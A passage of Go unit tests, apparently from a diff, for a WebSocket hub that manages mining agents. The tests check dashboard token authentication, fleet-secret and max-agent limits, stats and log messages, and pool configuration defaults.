t.Fatalf("read auth_response: %v", err)
}
return resp
}
func TestWSHubPingIntervalConstants(t *testing.T) {
hub := NewWSHub(nil)
if hub.pingIntervalSec != wsDefaultPingIntervalSec {
t.Fatalf("default ping interval = %d", hub.pingIntervalSec)
}
hub.SetPingInterval(5)
if hub.pingIntervalSec != wsDefaultPingIntervalSec {
t.Fatalf("below-minimum ping should clamp to %d, got %d", wsDefaultPingIntervalSec, hub.pingIntervalSec)
}
hub.SetPingInterval(15)
if hub.pingIntervalSec != 15 {
t.Fatalf("expected 15, got %d", hub.pingIntervalSec)
}
if hub.pingInterval().Seconds() != 15 {
t.Fatalf("pingInterval duration = %v", hub.pingInterval())
}
}
func TestCheckDashboardWSTokenBcryptUser(t *testing.T) {
resetWSAuthUsers(t, "dash", "secret-pass")
req := httptest.NewRequest(http.MethodGet, "/ws/dashboard?token="+wsDashboardToken("dash", "secret-pass"), nil)
if !checkDashboardWSToken(req) {
t.Fatal("valid bcrypt user token should pass")
}
req = httptest.NewRequest(http.MethodGet, "/ws/dashboard?token="+wsDashboardToken("dash", "wrong"), nil)
if checkDashboardWSToken(req) {
t.Fatal("wrong password should fail")
}
req = httptest.NewRequest(http.MethodGet, "/ws/dashboard", nil)
if checkDashboardWSToken(req) {
t.Fatal("missing token should fail")
}
}
func TestHandleDashboardWSUnauthorized(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
srv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
t.Cleanup(srv.Close)
wsURL := "ws" + strings.TrimPrefix(srv.URL, "http")
_, resp, err := websocket.DefaultDialer.Dial(wsURL, nil)
if err == nil {
t.Fatal("expected dial failure without token")
}
if resp == nil || resp.StatusCode != http.StatusUnauthorized {
t.Fatalf("expected 401 upgrade rejection, got err=%v status=%v", err, resp)
}
}
func TestHandleDashboardWSAuthorizedInit(t *testing.T) {
resetWSAuthUsers(t, testAuthUser, testAuthPass)
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
srv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
t.Cleanup(srv.Close)
wsURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
conn, resp, err := websocket.DefaultDialer.Dial(wsURL, nil)
if err != nil {
t.Fatalf("dial: %v status=%v", err, resp)
}
t.Cleanup(func() { _ = conn.Close() })
var msg Message
if err := conn.ReadJSON(&msg); err != nil {
t.Fatalf("read init: %v", err)
}
if msg.Type != "init" {
t.Fatalf("expected init message, got %q", msg.Type)
}
}
func TestHandleAgentWSBadFleetSecret(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
hub.SetFleetSecret("required-secret")
conn, _ := dialAgentWS(t, hub)
resp := authAgentConn(t, conn, map[string]interface{}{
"agent_id": "agent-bad-secret", "fleet_secret": "wrong", "hostname": "host",
})
var body map[string]interface{}
if err := json.Unmarshal(resp.Payload, &body); err != nil {
t.Fatal(err)
}
if body["success"] != false {
t.Fatalf("expected auth failure, got %+v", body)
}
if hub.isAgentConnected("agent-bad-secret") {
t.Fatal("agent should not register with bad fleet secret")
}
}
func TestHandleAgentWSStatsAndLogTail(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
agentID := "stats-agent"
conn := connectTestAgent(t, hub, agentID)
statsPayload, _ := json.Marshal(map[string]interface{}{
"hashrate_15s": 100.0, "hashrate_1m": 90.0, "hashrate_15m": 80.0,
"shares_submitted": 5, "shares_accepted": 4,
"cpu_usage_pct": 12.5, "memory_usage_pct": 40.0, "uptime_seconds": 60,
})
if err := conn.WriteJSON(Message{Type: "stats", Payload: statsPayload}); err != nil {
t.Fatal(err)
}
logPayload, _ := json.Marshal(map[string]interface{}{"content": "line1\nline2", "lines": 2})
if err := conn.WriteJSON(Message{Type: "log_tail", Payload: logPayload}); err != nil {
t.Fatal(err)
}
time.Sleep(50 * time.Millisecond)
if got := hub.GetAgentLog(agentID); got != "line1\nline2" {
t.Fatalf("log tail = %q", got)
}
cmdPayload, _ := json.Marshal(map[string]interface{}{"action": "exec", "success": true})
if err := conn.WriteJSON(Message{Type: "command_result", Payload: cmdPayload}); err != nil {
t.Fatal(err)
}
}
func TestHandleAgentWSMaxAgentsPolicy(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
hub.SetServerPolicy(ServerPolicy{MaxAgents: 1})
conn1, _ := dialAgentWS(t, hub)
authAgentConn(t, conn1, map[string]interface{}{"agent_id": "first", "hostname": "h1"})
conn2, _ := dialAgentWS(t, hub)
resp := authAgentConn(t, conn2, map[string]interface{}{"agent_id": "second", "hostname": "h2"})
var body map[string]interface{}
if err := json.Unmarshal(resp.Payload, &body); err != nil {
t.Fatal(err)
}
if body["success"] != false {
t.Fatalf("second agent should be rejected at max=1: %+v", body)
}
}
func TestHandleAgentWSInvalidAuthPayload(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
conn, _ := dialAgentWS(t, hub)
if err := conn.WriteJSON(Message{Type: "auth", Payload: json.RawMessage(`"not-an-object"`)}); err != nil {
t.Fatal(err)
}
var resp Message
if err := conn.ReadJSON(&resp); err != nil {
t.Fatal(err)
}
var body map[string]interface{}
_ = json.Unmarshal(resp.Payload, &body)
if body["success"] != false {
t.Fatalf("invalid auth payload should fail: %+v", body)
}
}
func TestWSHubSendAgentCommandNotConnected(t *testing.T) {
hub := NewWSHub(nil)
if err := hub.SendAgentCommand("missing", "restart", nil); err == nil {
t.Fatal("expected error for disconnected agent")
}
}
func TestWSHubBroadcastHelpers(t *testing.T) {
hub := NewWSHub(nil)
hub.BroadcastServerLog(" ")
hub.BroadcastFleetAlert(map[string]string{"level": "info"})
hub.BroadcastPoolStatus(map[string]string{"connected": "true"})
hub.BroadcastAIActivity(map[string]string{"agent_id": "a"})
}
func TestWSHubEnrichAgentsCapabilities(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
agentID := "cap-agent"
connectTestAgent(t, hub, agentID)
agents := []*models.Agent{{ID: agentID, Name: "x"}}
hub.enrichAgentsCapabilities(agents)
if agents[0].Capabilities == nil {
t.Fatal("expected capabilities enrichment")
}
}
func TestWSHubAgentPoolConfigDefaults(t *testing.T) {
hub := NewWSHub(nil)
hub.defaultPool = pool.Config{Host: "primary.pool", Port: 3333, Wallet: "48wallet", Password: "pw"}
hub.agentConfigs["a1"] = AgentForgeConfig{PoolHost: "custom.pool", PoolPort: 4444}
cfg := hub.agentPoolConfig("a1")
if cfg.Host != "custom.pool" || cfg.Port != 4444 {
t.Fatalf("unexpected pool cfg: %+v", cfg)
}
cfg = hub.agentPoolConfig("missing")
if cfg.Host != "primary.pool" {
t.Fatalf("missing agent should use default pool: %+v", cfg)
}
}
func TestWSHubConnectedAgentCount(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
if hub.connectedAgentCount() != 0 {
t.Fatal("expected zero agents initially")
}
connectTestAgent(t, hub, "count-agent")
if hub.connectedAgentCount() != 1 {
t.Fatalf("expected 1 connected agent, got %d", hub.connectedAgentCount())
}
}

View File

@@ -0,0 +1,30 @@
package api
import (
"encoding/json"
"testing"
)
func TestWSTypesJSONRoundTrip(t *testing.T) {
cases := []struct {
name string
in interface{}
}{
{"stats", WSStatsUpdate{AgentID: "a1", Hashrate15m: 123.4, CPUUsagePct: 50}},
{"offline", WSAgentOffline{AgentID: "a1"}},
{"command", WSCommandResult{AgentID: "a1", Action: "exec", Success: true, Message: "ok"}},
{"log", WSAgentLog{AgentID: "a1", Content: "tail"}},
{"server_log", WSServerLog{Line: "started"}},
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
data, err := json.Marshal(tc.in)
if err != nil {
t.Fatal(err)
}
if len(data) == 0 {
t.Fatal("empty JSON")
}
})
}
}